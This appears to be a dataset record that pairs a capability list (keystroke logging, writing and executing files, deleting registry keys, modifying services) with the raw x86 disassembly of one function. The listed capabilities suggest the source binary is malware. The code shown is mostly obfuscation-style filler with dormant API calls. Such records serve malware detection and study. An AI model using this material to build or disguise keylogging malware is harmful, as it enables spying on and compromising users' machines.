Function at 0x1003ca7c
Capabilities:
Accept command line arguments
Check os version
Clear file content
Connect pipe
Create pipe
Create process on windows
Create thread
Delete file
Delete registry key
Delete registry value
Get common file path
Get disk information
Get graphical window text
Log keystrokes
Modify service
Query environment variable
Read .ini file
Resume thread
Set thread local storage value
Terminate process
Write and execute a file

Disassembly:
mov eax, 0x10090e0d
call fcn.100907a0
mov eax, 0x12ac
call fcn.10079790
push ebx
push esi
push edi
mov edi, 0xfffa
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x28], edi
mov esi, 0x2971c1e
xor eax, eax
mov dword [ebp - 0x34], esi
push 3
mov byte [ebp - 0x81], dl
mov ecx, 0x8114
mov dword [ebp - 0x10], eax
pop ebx
jmp 0x1003cac8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe10], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003cabb
mov eax, dword [ebp - 0x28]
mov edx, 0x39ed
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1003caf6
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xe10], edx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1003cae2
xor eax, eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x10], eax
jmp 0x1003cb0e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf00], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003cb01
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1003cb37
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xf00], edx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1003cb23
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 0xd8143836
mov dword [ebp - 0x14], 0x9b4af7bd
mov dword [ebp - 0x34], 0x5199242
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
push 0xffffffffffffffff
pop ecx
jge 0x1003cb70
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1208], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003cb5b
xor eax, eax
mov dword [ebp - 0x20], eax
mov ecx, 0xffff
cmp dword [ebp - 0x20], 0x19
push 1
pop edi
je 0x1003cd09
mov dword [ebp - 0x10], 2
mov dword [ebp - 0x2c], 0x54dbbe5
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x2c], eax
jne 0x1003cbbe
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, 0xb541
setg cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jbe 0x1003cbbe
xor eax, eax
jmp 0x1003cbc0
mov eax, edi
mov dword [ebp - 0x10], 0x81d2
mov ecx, dword [ebp - 0x20]
add ecx, eax
imul ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, 0xd94b
setne dl
sub edx, ecx
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x30]
je 0x1003cc1e
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1003cd07
jmp 0x1003cce2
mov dword [ebp - 0x48], 0x9f3c5a4a
xor eax, eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003cc4c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x718], 0x6709e149
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003cc33
xor eax, eax
cmp dword [ebp - 0x714], eax
jne 0x1003cc5a
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x714]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x714]
setg dl
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
or edx, 0xffffffff
cmp ecx, edx
setne al
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x710]
mov eax, dword [ebp - 0x714]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x718]
neg eax
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xf559cde8
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
je 0x1003ccd3
mov ecx, edi
cmp dword [ebp - 0x28], eax
jne 0x1003ccd5
mov ecx, eax
xor eax, eax
cmp ecx, 4
setg al
mov dword [ebp - 0x48], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003ccf2
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
inc dword [ebp - 0x20]
mov ecx, 0xffff
cmp dword [ebp - 0x20], 0x19
push 0
pop eax
jne 0x1003cb85
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1003cd67
mov dword [ebp - 0x38], 0xa8e4
mov dword [ebp - 0x38], 0x7b1d0057
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003cd3d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x10e4], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003cd28
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1003cd61
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003cd5c
push eax
push 0x25d9
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1003cd45
dec dword [ebp - 0x48]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff9
jne 0x1003cd0e
mov dword [ebp - 0x20], 0xfebaeef2
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1003cd96
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x450], 0x5711
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003cd7d
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1003cdb6
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe28], 0x85ba5616
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1003cd9e
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1003ced1
mov dword [ebp - 0x10], eax
jmp 0x1003cdd8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x80c], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003cdc7
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x450], 0
je 0x1003ce80
mov dword [ebp - 0x80c], 0xfffffffd
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x450]
mov eax, dword [ebp - 0x20]
add ecx, dword [ebp + eax*4 - 0x450]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x444]
setne dl
sub edx, 5
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setle cl
cmp ecx, dword [ebp + eax*4 - 0x450]
jge 0x1003ce47
xor eax, eax
cmp dword [ebp - 0x808], eax
je 0x1003ce49
mov edx, edi
jmp 0x1003ce4b
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, 0xb689
setl cl
mov eax, dword [ebp + eax*4 - 0x450]
sub ecx, eax
je 0x1003ce67
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x450]
imul eax, dword [ebp - 0x448]
test eax, eax
je 0x1003ce80
mov esi, edi
jmp 0x1003ce84
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x450], 0x9e923e64
sbb edx, edx
xor ecx, ecx
neg edx
cmp esi, 0x887
setne cl
xor eax, eax
cmp edx, ecx
setle al
mov dword [ebp - 0xe20], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1003cec0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetCommState]
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x1003cdc2
mov esi, 0x2971c1e
mov dword [ebp - 0x28], 0xfffa
mov dword [ebp - 0x30], 0xf3d37a5b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x1003cf01
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x298], 0xe0648261
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1003cee8
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1003cf23
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x9ec], 0x6df37d45
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003cf0a
xor eax, eax
mov dword [ebp - 0x298], eax
jmp 0x1003cf64
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x1003cf55
mov dword [ebp - 0x2c], 0x7e4fc22
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], eax
jl 0x1003cf50
or ecx, 0xffffffff
mov dword [ebp - 0x30], ecx
dec dword [ebp - 0x2c]
jns 0x1003cf48
dec dword [ebp - 0x10]
jns 0x1003cf36
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x298]
push 0
pop eax
cmp dword [ebp - 0x298], 0xffffffe3
jl 0x1003cf2b
mov ecx, dword [ebp - 0x9e8]
xor edx, edx
mov eax, dword [ebp - 0x9e8]
cmp ecx, eax
mov ecx, dword [ebp - 0x294]
mov eax, dword [ebp - 0x30]
setg dl
add ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x9e4]
mov ecx, dword [ebp - 0x9e0]
sete dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x30]
push 3
setge bl
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
cmp edx, 0x55145ccb
setle cl
xor eax, eax
cmp ecx, ebx
pop ebx
setne al
mov dword [ebp - 0x298], eax
xor eax, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x10], eax
jmp 0x1003cfe5
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf78], 0x8114
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003cfd4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1003d012
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xf78], 0x39ed
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1003cffa
xor eax, eax
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003d035
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x115c], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003d021
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003d04e
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003d04b
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jle 0x1003d03a
mov dword [ebp - 0x30], 0xe229edca
mov dword [ebp - 0x2c], 0xd5fba252
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1003d087
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x110], 0xdec9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003d06e
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003d0a7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe40], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003d08f
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1003d0bd
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5ac], 0x46e9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003d0ac
mov eax, dword [ebp - 0x30]
mov ecx, 0xc1d99ea5
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
neg eax
sbb eax, eax
neg eax
cmp eax, ebx
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, 0x5d9f20c7
cmp ecx, eax
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x110]
sbb edx, edx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x110]
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x110]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x110]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10c]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0xf30385d0
je 0x1003d1fb
mov dword [ebp - 0x34], 0x5cf455db
xor eax, eax
mov dword [ebp - 0x38], 0xc2657a77
mov dword [ebp - 0x34], 0x7b249e3c
mov dword [ebp - 0x3c], 0x90538e0e
mov dword [ebp - 0x38], 0xaa9b2235
mov dword [ebp - 0x10], eax
jmp 0x1003d190
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf18], 0xc359
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003d17f
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
inc dword [ebp - 0x5ac]
mov edx, dword [ebp - 0x5ac]
mov dword [ebp - 0xe3c], edx
mov eax, dword [ebp - 0xf10]
cmp eax, 0xd707
setg cl
cmp ecx, edx
jl 0x1003d1ca
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x14], 0xbbb3
xor eax, eax
cmp dword [ebp - 0x14], 0x2bd6
jge 0x1003d1e9
cmp dword [ebp - 0x14], eax
je 0x1003d1e9
mov eax, edi
neg eax
sub eax, dword [ebp - 0x3c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
jmp 0x1003d295
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x14], 0xffffffe8
jmp 0x1003d28b
xor eax, eax
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x10], eax
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x5ac]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x110]
mov eax, 0xffff
sub ecx, eax
mov eax, dword [ebp - 0x30]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x110]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
cmp ecx, 0xfffffff7
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x10]
jg 0x1003d269
mov eax, dword [ebp - 0x5ac]
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x40]
add edx, 0x19d465f
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff3
jl 0x1003d20a
mov dword [ebp - 0x10], 0xfe0a8eac
or ecx, 0xffffffff
mov dword [ebp - 0x54], 0x4c90d297
xor eax, eax
mov dword [ebp - 0x38], 0xfffffff8
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x38], 0x790e8648
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x50], 0x2038e85a
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], 0x9fe5
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], 0x74e80031
push 0xfffffffffffffff6
pop edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], 0x68451f1e
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x3c], 0x3132d683
mov dword [ebp - 0x58], 9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003d322
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe58], 0x3588c556
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003d30a
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003d33b
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003d338
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xd
jle 0x1003d327
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], 0x3ca4d9a5
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1003d355
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
mov dword [ebp - 0xe54], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0x58]
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x1003d392
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1003d3d6
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
jmp 0x1003d3d6
mov dword [ebp - 0x2c], 2
jmp 0x1003d3d0
mov dword [ebp - 0x28], 0x11
jmp 0x1003d3c7
mov dword [ebp - 0x10], eax
jmp 0x1003d3be
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003d3bb
push eax
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x13
jg 0x1003d3a9
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x14
jle 0x1003d3a4
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffef
jl 0x1003d39b
mov dword [ebp - 0x1c], 0xfffa
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 0xd8143836
mov dword [ebp - 0x14], 0x9b4af7bd
mov dword [ebp - 0x34], 0x5199242
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003d418
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1228], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003d403
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x19
je 0x1003d5a9
mov dword [ebp - 0x10], 2
mov ecx, 0xffff
mov dword [ebp - 0x2c], 0x54dbbe5
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x2c], eax
jne 0x1003d463
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, 0xb541
setg cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x30], 4
jbe 0x1003d463
xor eax, eax
jmp 0x1003d465
mov eax, edi
mov dword [ebp - 0x10], 0x81d2
mov ecx, dword [ebp - 0x20]
add ecx, eax
imul ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
dec ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, 0xd94b
setne dl
sub edx, ecx
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x30]
je 0x1003d4c3
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1003d5a7
jmp 0x1003d587
mov dword [ebp - 0x48], 0x9f3c5a4a
xor eax, eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003d4f1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x72c], 0x6709e149
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003d4d8
xor eax, eax
cmp dword [ebp - 0x728], eax
jne 0x1003d4ff
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x728]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x728]
setg dl
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
or edx, 0xffffffff
cmp ecx, edx
setne al
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x724]
mov eax, dword [ebp - 0x728]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x72c]
neg eax
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xf559cde8
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
je 0x1003d578
mov ecx, edi
cmp dword [ebp - 0x28], eax
jne 0x1003d57a
mov ecx, eax
xor eax, eax
cmp ecx, 4
setg al
mov dword [ebp - 0x48], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003d597
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x19
push 0
pop eax
jne 0x1003d425
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1003d607
mov dword [ebp - 0x38], 0xa8e4
mov dword [ebp - 0x38], 0x7b1d0057
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003d5dd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x103c], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003d5c8
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1003d601
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003d5fc
push eax
push 0x25d9
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1003d5e5
dec dword [ebp - 0x48]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff9
jne 0x1003d5ae
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x20], 0xfebaeef2
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1003d639
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x468], 0x5711
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003d620
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1003d659
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xfd8], 0x85ba5616
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1003d641
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1003d76f
mov dword [ebp - 0x10], eax
jmp 0x1003d67b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x86c], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003d66a
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x468], 0
je 0x1003d723
mov dword [ebp - 0x86c], 0xfffffffd
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x468]
mov eax, dword [ebp - 0x20]
add ecx, dword [ebp + eax*4 - 0x468]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x45c]
setne dl
sub edx, 5
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setle cl
cmp ecx, dword [ebp + eax*4 - 0x468]
jge 0x1003d6ea
xor eax, eax
cmp dword [ebp - 0x868], eax
je 0x1003d6ec
mov edx, edi
jmp 0x1003d6ee
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, 0xb689
setl cl
mov eax, dword [ebp + eax*4 - 0x468]
sub ecx, eax
je 0x1003d70a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x468]
imul eax, dword [ebp - 0x460]
test eax, eax
je 0x1003d723
mov esi, edi
jmp 0x1003d727
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x468], 0x9e923e64
sbb edx, edx
xor ecx, ecx
neg edx
cmp esi, 0x887
setne cl
xor eax, eax
cmp edx, ecx
setle al
mov dword [ebp - 0xfd0], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1003d763
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetCommState]
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x1003d665
mov dword [ebp - 0x28], 0xf3d37a5b
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x1003d798
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2a0], 0xe0648261
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1003d77f
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1003d7ba
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x9cc], 0x6df37d45
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003d7a1
xor eax, eax
mov dword [ebp - 0x2a0], eax
jmp 0x1003d7fb
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x1003d7ec
mov dword [ebp - 0x2c], 0x7e4fc22
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], eax
jl 0x1003d7e7
or ecx, 0xffffffff
mov dword [ebp - 0x28], ecx
dec dword [ebp - 0x2c]
jns 0x1003d7df
dec dword [ebp - 0x10]
jns 0x1003d7cd
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x28], eax
dec dword [ebp - 0x2a0]
push 0
pop eax
cmp dword [ebp - 0x2a0], 0xffffffe3
jl 0x1003d7c2
mov ecx, dword [ebp - 0x9c8]
xor edx, edx
mov eax, dword [ebp - 0x9c8]
cmp ecx, eax
mov ecx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x28]
setg dl
add ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x9c4]
mov ecx, dword [ebp - 0x28]
sete dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x9c0]
push 3
setge bl
xor edx, edx
cmp eax, ecx
pop esi
setg dl
xor ecx, ecx
cmp edx, 0x55145ccb
setle cl
xor eax, eax
cmp ecx, ebx
setne al
xor edx, edx
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x20]
